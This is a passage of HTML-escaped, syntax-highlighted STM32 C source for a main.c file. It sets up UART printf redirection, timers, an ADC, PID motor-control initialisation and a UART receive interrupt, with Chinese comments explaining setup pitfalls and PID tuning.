class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;gpio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private includes ----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private typedef -----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private define ------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private macro -------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private variables ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private function prototypes -----------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private user code ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// redirect `printf`\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc(void)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_Start(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_PollForConversion(\u0026amp;hadc1, 2);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// if (HAL_IS_BIT_SET(HAL_ADC_GetState(\u0026amp;hadc1), HAL_ADC_STATE_REG_EOC))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return HAL_ADC_GetValue(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// else\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc_Average(uint8_t times)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint32_t sum = 0;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// for (uint8_t i = 0; i \u0026lt; times; i++)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// sum += Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return sum / times;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// define pid struct\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// the buf for screen usart\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan 